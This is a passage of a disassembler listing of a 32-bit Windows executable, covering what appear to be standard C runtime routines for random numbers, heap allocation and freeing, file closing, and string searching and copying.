		jmp	short loc_40D84B
; ---------------------------------------------------------------------------

loc_40D846:				; CODE XREF: sub_40D7AA+6Cj
					; sub_40D7AA+78j
		mov	eax, offset dword_423BB8

loc_40D84B:				; CODE XREF: sub_40D7AA+9Aj
		test	byte ptr [eax+24h], 7Fh
		jnz	short loc_40D896
		push	esi
		call	sub_412CF4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D88B
		push	esi
		call	sub_412CF4
		pop	ecx
		cmp	eax, 0FFFFFFFEh
		jz	short loc_40D88B
		push	esi
		call	sub_412CF4
		sar	eax, 5
		lea	edi, ds:433CE0h[eax*4]
		push	esi
		call	sub_412CF4
		pop	ecx
		pop	ecx
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		jmp	short loc_40D890
; ---------------------------------------------------------------------------

loc_40D88B:				; CODE XREF: sub_40D7AA+B1j
					; sub_40D7AA+BDj
		mov	eax, offset dword_423BB8

loc_40D890:				; CODE XREF: sub_40D7AA+DFj
		test	byte ptr [eax+24h], 80h
		jz	short loc_40D8B2

loc_40D896:				; CODE XREF: sub_40D7AA+A5j
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40D31E
		add	esp, 14h
		or	[ebp+var_1C], 0FFFFFFFFh

loc_40D8B2:				; CODE XREF: sub_40D7AA+5Cj
					; sub_40D7AA+EAj
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40D8DA
		push	esi
		call	sub_4129EF
		mov	edi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	ebx
		push	[ebp+arg_4]
		push	esi
		call	sub_410EB7
		mov	[ebp+var_1C], eax
		push	esi
		push	edi
		call	sub_412A85
		add	esp, 1Ch

loc_40D8DA:				; CODE XREF: sub_40D7AA+10Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40D8EF
		mov	eax, [ebp+var_1C]

loc_40D8E9:				; CODE XREF: sub_40D7AA+3Aj
		call	__SEH_epilog4
		retn
sub_40D7AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8EF	proc near		; CODE XREF: sub_40D7AA+137p
					; DATA XREF: ev73vtp2:00421A58o
		push	dword ptr [ebp+8]
		call	sub_412482
		pop	ecx
		retn
sub_40D8EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F9	proc near		; CODE XREF: sub_40479C+4Fp
					; .text:00409951p

arg_0		= dword	ptr  4

		call	sub_40F87E
		mov	ecx, [esp+arg_0]
		mov	[eax+14h], ecx
		retn
sub_40D8F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D906	proc near		; CODE XREF: sub_402592+A7p
					; sub_402592+B6p ...
		call	sub_40F87E
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	[eax+14h], ecx
		mov	eax, ecx
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_40D906	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D928	proc near		; CODE XREF: sub_40D9D9+12p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_40D956
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_40D9D6
; ---------------------------------------------------------------------------

loc_40D956:				; CODE XREF: sub_40D928+Cj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		jz	short loc_40D982
		cmp	esi, ebx
		jnz	short loc_40D982
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40D9D5
; ---------------------------------------------------------------------------

loc_40D982:				; CODE XREF: sub_40D928+37j
					; sub_40D928+3Bj
		mov	eax, 7FFFFFFFh
		cmp	ecx, eax
		mov	[ebp+var_1C], eax
		ja	short loc_40D991
		mov	[ebp+var_1C], ecx

loc_40D991:				; CODE XREF: sub_40D928+64j
		push	edi
		push	[ebp+arg_10]
		lea	eax, [ebp+var_20]
		push	[ebp+arg_C]
		mov	[ebp+var_14], 42h
		push	[ebp+arg_8]
		mov	[ebp+var_18], esi
		push	eax
		mov	[ebp+var_20], esi
		call	sub_410EB7
		add	esp, 10h
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_40D9D4
		dec	[ebp+var_1C]
		js	short loc_40D9C6
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_40D9D2
; ---------------------------------------------------------------------------

loc_40D9C6:				; CODE XREF: sub_40D928+95j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_410CB6
		pop	ecx
		pop	ecx

loc_40D9D2:				; CODE XREF: sub_40D928+9Cj
		mov	eax, edi

loc_40D9D4:				; CODE XREF: sub_40D928+90j
		pop	edi

loc_40D9D5:				; CODE XREF: sub_40D928+58j
		pop	esi

loc_40D9D6:				; CODE XREF: sub_40D928+29j
		pop	ebx
		leave
		retn
sub_40D928	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9D9	proc near		; CODE XREF: sub_4024ED+66p
					; sub_403D0C+7Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	0
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_40D928
		add	esp, 14h
		retn
sub_40D9D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9F4	proc near		; CODE XREF: sub_40DA67+5Ap

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		xor	edi, edi
		or	ebx, 0FFFFFFFFh
		cmp	esi, edi
		jnz	short loc_40DA21
		call	sub_40FCB4
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40DA63
; ---------------------------------------------------------------------------

loc_40DA21:				; CODE XREF: sub_40D9F4+Ej
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_40DA5E
		push	esi
		call	sub_412EAE
		push	esi
		mov	ebx, eax
		call	sub_412E82
		push	esi
		call	sub_412CF4
		push	eax
		call	sub_412DB5
		add	esp, 10h
		test	eax, eax
		jge	short loc_40DA4D
		or	ebx, 0FFFFFFFFh
		jmp	short loc_40DA5E
; ---------------------------------------------------------------------------

loc_40DA4D:				; CODE XREF: sub_40D9F4+52j
		mov	eax, [esi+1Ch]
		cmp	eax, edi
		jz	short loc_40DA5E
		push	eax
		call	sub_40DBA6
		pop	ecx
		mov	[esi+1Ch], edi

loc_40DA5E:				; CODE XREF: sub_40D9F4+31j
					; sub_40D9F4+57j ...
		mov	[esi+0Ch], edi
		mov	eax, ebx

loc_40DA63:				; CODE XREF: sub_40D9F4+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40D9F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA67	proc near		; CODE XREF: sub_402592+137p
					; sub_407FA4+1C8p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421A60
		call	__SEH_prolog4
		or	[ebp+var_1C], 0FFFFFFFFh
		xor	eax, eax
		mov	esi, [ebp+arg_0]
		xor	edi, edi
		cmp	esi, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_40DAA4
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40DAB0
; ---------------------------------------------------------------------------

loc_40DAA4:				; CODE XREF: sub_40DA67+1Ej
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_40DAB6
		mov	[esi+0Ch], edi

loc_40DAAD:				; CODE XREF: sub_40DA67+6Fj
		mov	eax, [ebp+var_1C]

loc_40DAB0:				; CODE XREF: sub_40DA67+3Bj
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_40DAB6:				; CODE XREF: sub_40DA67+41j
		push	esi
		call	sub_412430
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	esi
		call	sub_40D9F4
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40DADB
		jmp	short loc_40DAAD
sub_40DA67	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DAD8	proc near		; DATA XREF: ev73vtp2:00421A78o
		mov	esi, [ebp+8]
sub_40DAD8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DADB	proc near		; CODE XREF: sub_40DA67+6Ap
		push	esi
		call	sub_412482
		pop	ecx
		retn
sub_40DADB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAE3	proc near		; CODE XREF: sub_402C7B+13p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:off_41E1AC
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		push	0
		add	eax, 2AC18000h
		push	989680h
		adc	ecx, 0FE624E21h
		push	ecx
		push	eax
		call	sub_413040
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short locret_40DB1D
		mov	[ecx], eax
		mov	[ecx+4], edx

locret_40DB1D:				; CODE XREF: sub_40DAE3+33j
		leave
		retn
sub_40DAE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB1F	proc near		; CODE XREF: sub_40DB87+15p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	esi
		call	sub_40C9B0
		xor	edi, edi
		cmp	esi, edi
		pop	ecx
		jnz	short loc_40DB50

loc_40DB33:				; CODE XREF: sub_40DB1F+34j
		call	sub_40FCB4
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40DB84
; ---------------------------------------------------------------------------

loc_40DB50:				; CODE XREF: sub_40DB1F+12j
		cmp	[ebp+arg_4], edi
		jz	short loc_40DB33
		mov	ecx, 7FFFFFFFh
		cmp	eax, ecx
		mov	[ebp+var_14], 49h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_1C], ecx
		ja	short loc_40DB71
		mov	[ebp+var_1C], eax

loc_40DB71:				; CODE XREF: sub_40DB1F+4Dj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	[ebp+arg_0]
		add	esp, 10h

loc_40DB84:				; CODE XREF: sub_40DB1F+2Fj
		pop	edi
		leave
		retn
sub_40DB1F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DB87	proc near		; CODE XREF: sub_4036E9+5Ep
					; .text:0040A481p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	eax, [esp+4+arg_8]
		push	eax
		push	0
		push	[esp+0Ch+arg_4]
		push	offset sub_413137
		call	sub_40DB1F
		add	esp, 10h
		pop	esi
		retn
sub_40DB87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBA6	proc near		; CODE XREF: sub_403186+4A5p
					; sub_405257+AEp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0040DC05 SIZE 0000002F BYTES

		push	0Ch
		push	offset dword_421A80
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_40DC2E
		cmp	dword_434E3C, 3
		jnz	short loc_40DC05
		push	4
		call	sub_40FED7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_410005
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_40DBE5
		push	esi
		push	eax
		call	sub_410030
		pop	ecx
		pop	ecx

loc_40DBE5:				; CODE XREF: sub_40DBA6+34j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40DBFC
		cmp	[ebp+var_1C], 0
		jnz	short loc_40DC2E
		push	[ebp+arg_0]
		jmp	short loc_40DC06
sub_40DBA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBFC	proc near		; CODE XREF: sub_40DBA6+46p
					; DATA XREF: ev73vtp2:00421A98o
		push	4
		call	sub_40FDFF
		pop	ecx
		retn
sub_40DBFC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DBA6

loc_40DC05:				; CODE XREF: sub_40DBA6+1Aj
		push	esi

loc_40DC06:				; CODE XREF: sub_40DBA6+54j
		push	0
		push	dword_425FC8
		call	ds:dword_41E10C	; RtlFreeHeap
		test	eax, eax
		jnz	short loc_40DC2E
		call	sub_40FCB4
		mov	esi, eax
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		push	eax
		call	sub_40FC79
		mov	[esi], eax
		pop	ecx

loc_40DC2E:				; CODE XREF: sub_40DBA6+11j
					; sub_40DBA6+4Fj ...
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_40DBA6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC34	proc near		; CODE XREF: sub_40DC83+59p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421AA0
		call	__SEH_prolog4
		and	[ebp+var_1C], 0
		mov	esi, [ebp+arg_0]
		cmp	esi, dword_434E2C
		ja	short loc_40DC71
		push	4
		call	sub_40FED7
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_4107D9
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40DC7A

loc_40DC71:				; CODE XREF: sub_40DC34+19j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40DC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC7A	proc near		; CODE XREF: sub_40DC34+38p
					; DATA XREF: ev73vtp2:00421AB8o
		push	4
		call	sub_40FDFF
		pop	ecx
		retn
sub_40DC7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC83	proc near		; CODE XREF: sub_403186+2A1p
					; sub_403186+2EDp ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		cmp	ebp, 0FFFFFFE0h
		ja	loc_40DD30
		push	ebx
		mov	ebx, ds:dword_41E114
		push	esi
		push	edi

loc_40DC9A:				; CODE XREF: sub_40DC83+94j
		xor	esi, esi
		cmp	dword_425FC8, esi
		mov	edi, ebp
		jnz	short loc_40DCBE
		call	sub_413F24
		push	1Eh
		call	sub_413D84
		push	0FFh
		call	sub_411FF7
		pop	ecx
		pop	ecx

loc_40DCBE:				; CODE XREF: sub_40DC83+21j
		mov	eax, dword_434E3C
		cmp	eax, 1
		jnz	short loc_40DCD6
		cmp	ebp, esi
		jz	short loc_40DCD0
		mov	eax, ebp
		jmp	short loc_40DCD3
; ---------------------------------------------------------------------------

loc_40DCD0:				; CODE XREF: sub_40DC83+47j
		xor	eax, eax
		inc	eax

loc_40DCD3:				; CODE XREF: sub_40DC83+4Bj
		push	eax
		jmp	short loc_40DCF4
; ---------------------------------------------------------------------------

loc_40DCD6:				; CODE XREF: sub_40DC83+43j
		cmp	eax, 3
		jnz	short loc_40DCE6
		push	ebp
		call	sub_40DC34
		cmp	eax, esi
		pop	ecx
		jnz	short loc_40DCFD

loc_40DCE6:				; CODE XREF: sub_40DC83+56j
		cmp	ebp, esi
		jnz	short loc_40DCED
		xor	edi, edi
		inc	edi

loc_40DCED:				; CODE XREF: sub_40DC83+65j
		add	edi, 0Fh
		and	edi, 0FFFFFFF0h
		push	edi

loc_40DCF4:				; CODE XREF: sub_40DC83+51j
		push	esi
		push	dword_425FC8
		call	ebx	; RtlAllocateHeap

loc_40DCFD:				; CODE XREF: sub_40DC83+61j
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40DD29
		cmp	dword_42634C, eax
		push	0Ch
		pop	edi
		jz	short loc_40DD1B
		push	ebp
		call	sub_412337
		test	eax, eax
		pop	ecx
		jnz	short loc_40DC9A
		jmp	short loc_40DD22
; ---------------------------------------------------------------------------

loc_40DD1B:				; CODE XREF: sub_40DC83+89j
		call	sub_40FCB4
		mov	[eax], edi

loc_40DD22:				; CODE XREF: sub_40DC83+96j
		call	sub_40FCB4
		mov	[eax], edi

loc_40DD29:				; CODE XREF: sub_40DC83+7Ej
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40DD30:				; CODE XREF: sub_40DC83+8j
		push	ebp
		call	sub_412337
		pop	ecx
		call	sub_40FCB4
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		pop	ebp
		retn
sub_40DC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DD50	proc near		; CODE XREF: sub_403655+1Ep
					; sub_403655+7Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_40DDD0
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_40DDBD

loc_40DD68:				; CODE XREF: sub_40DD50+58j
					; sub_40DD50+6Bj
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		add	esi, 1
		cmp	al, dl
		jz	short loc_40DD8E
		test	al, al
		jz	short loc_40DD88

loc_40DD7B:				; CODE XREF: sub_40DD50+36j
		mov	al, [esi]
		add	esi, 1

loc_40DD80:				; CODE XREF: sub_40DD50+45j
		cmp	al, dl
		jz	short loc_40DD8E
		test	al, al
		jnz	short loc_40DD7B

loc_40DD88:				; CODE XREF: sub_40DD50+29j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40DD8E:				; CODE XREF: sub_40DD50+25j
					; sub_40DD50+32j
		mov	al, [esi]
		add	esi, 1
		cmp	al, dh
		jnz	short loc_40DD80
		lea	edi, [esi-1]

loc_40DD9A:				; CODE XREF: sub_40DD50+69j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_40DDC9
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_40DD68
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_40DDC9
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_40DD9A
		jmp	short loc_40DD68
; ---------------------------------------------------------------------------

loc_40DDBD:				; CODE XREF: sub_40DD50+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_40DEF6
; ---------------------------------------------------------------------------

loc_40DDC9:				; CODE XREF: sub_40DD50+4Fj
					; sub_40DD50+5Fj
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40DDD0:				; CODE XREF: sub_40DD50+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_40DD50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DDE0	proc near		; CODE XREF: sub_4036E9+A5p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_40DE55
sub_40DDE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DDF0	proc near		; CODE XREF: sub_4036E9+3Bp
					; sub_4036E9+91p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40DE10

loc_40DDFD:				; CODE XREF: sub_40DDF0+1Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_40DE43
		test	ecx, 3
		jnz	short loc_40DDFD
		mov	edi, edi

loc_40DE10:				; CODE XREF: sub_40DDF0+Bj
					; sub_40DDF0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40DE10
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40DE52
		test	ah, ah
		jz	short loc_40DE4D
		test	eax, 0FF0000h
		jz	short loc_40DE48
		test	eax, 0FF000000h
		jz	short loc_40DE43
		jmp	short loc_40DE10
; ---------------------------------------------------------------------------

loc_40DE43:				; CODE XREF: sub_40DDF0+14j
					; sub_40DDF0+4Fj
		lea	edi, [ecx-1]
		jmp	short loc_40DE55
; ---------------------------------------------------------------------------

loc_40DE48:				; CODE XREF: sub_40DDF0+48j
		lea	edi, [ecx-2]
		jmp	short loc_40DE55
; ---------------------------------------------------------------------------

loc_40DE4D:				; CODE XREF: sub_40DDF0+41j
		lea	edi, [ecx-3]
		jmp	short loc_40DE55
; ---------------------------------------------------------------------------

loc_40DE52:				; CODE XREF: sub_40DDF0+3Dj
		lea	edi, [ecx-4]

loc_40DE55:				; CODE XREF: sub_40DDE0+5j
					; sub_40DDF0+56j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_40DE7E

loc_40DE61:				; CODE XREF: sub_40DDF0+85j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_40DED0
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_40DE61
		jmp	short loc_40DE7E
; ---------------------------------------------------------------------------

loc_40DE79:				; CODE XREF: sub_40DDF0+A6j
					; sub_40DDF0+C0j
		mov	[edi], edx
		add	edi, 4

loc_40DE7E:				; CODE XREF: sub_40DDF0+6Fj
					; sub_40DDF0+87j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40DE79
		test	dl, dl
		jz	short loc_40DED0
		test	dh, dh
		jz	short loc_40DEC7
		test	edx, 0FF0000h
		jz	short loc_40DEBA
		test	edx, 0FF000000h
		jz	short loc_40DEB2
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------

loc_40DEB2:				; CODE XREF: sub_40DDF0+BEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40DEBA:				; CODE XREF: sub_40DDF0+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40DEC7:				; CODE XREF: sub_40DDF0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40DED0:				; CODE XREF: sub_40DDF0+78j
					; sub_40DDF0+AAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_40DDF0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_40DEF0

loc_40DEE0:				; CODE XREF: sub_40DEF0+1Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_40DEF0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DEF0	proc near		; CODE XREF: sub_403186+191p
					; sub_403186+1ADp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0040DEE0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_40DEF6:				; CODE XREF: sub_40DD50+74j
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_40DF1D

loc_40DF08:				; CODE XREF: sub_40DEF0+2Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_40DEE0
		test	cl, cl
		jz	short loc_40DF66
		test	edx, 3
		jnz	short loc_40DF08

loc_40DF1D:				; CODE XREF: sub_40DEF0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_40DF28:				; CODE XREF: sub_40DEF0+63j
					; sub_40DEF0+72j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_40DF6A
		and	eax, 81010100h
		jz	short loc_40DF28
		and	eax, 1010100h
		jnz	short loc_40DF64
		and	esi, 80000000h
		jnz	short loc_40DF28

loc_40DF64:				; CODE XREF: sub_40DEF0+6Aj
					; sub_40DEF0+83j ...
		pop	esi
		pop	edi

loc_40DF66:				; CODE XREF: sub_40DEF0+23j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_40DF6A:				; CODE XREF: sub_40DEF0+5Cj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_40DFA7
		test	al, al
		jz	short loc_40DF64
		cmp	ah, bl
		jz	short loc_40DFA0
		test	ah, ah
		jz	short loc_40DF64
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_40DF99
		test	al, al
		jz	short loc_40DF64
		cmp	ah, bl
		jz	short loc_40DF92
		test	ah, ah
		jz	short loc_40DF64
		jmp	short loc_40DF28
; ---------------------------------------------------------------------------

loc_40DF92:				; CODE XREF: sub_40DEF0+9Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_40DF99:				; CODE XREF: sub_40DEF0+92j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_40DFA0:				; CODE XREF: sub_40DEF0+87j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_40DFA7:				; CODE XREF: sub_40DEF0+7Fj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_40DEF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFAE	proc near		; CODE XREF: sub_403655+36p
					; sub_403655+43p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	[ebp+var_2C], eax
		call	sub_40F87E
		push	8
		pop	ecx
		mov	[ebp+var_28], eax
		xor	eax, eax
		lea	edi, [ebp+var_24]
		push	7
		rep stosd
		pop	edi

loc_40DFDF:				; CODE XREF: sub_40DFAE+4Aj
		mov	dl, [esi]
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+var_24]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_40DFDF
		mov	edx, [ebp+var_2C]
		test	edx, edx
		jnz	short loc_40E00E
		mov	eax, [ebp+var_28]
		mov	edx, [eax+18h]
		jmp	short loc_40E00E
; ---------------------------------------------------------------------------

loc_40E009:				; CODE XREF: sub_40DFAE+77j
		test	al, al
		jz	short loc_40E027
		inc	edx

loc_40E00E:				; CODE XREF: sub_40DFAE+51j
					; sub_40DFAE+59j
		mov	al, [edx]
		movzx	esi, al
		xor	ebx, ebx
		mov	ecx, esi
		and	ecx, edi
		inc	ebx
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	bl, cl
		jnz	short loc_40E009

loc_40E027:				; CODE XREF: sub_40DFAE+5Dj
		mov	ebx, edx
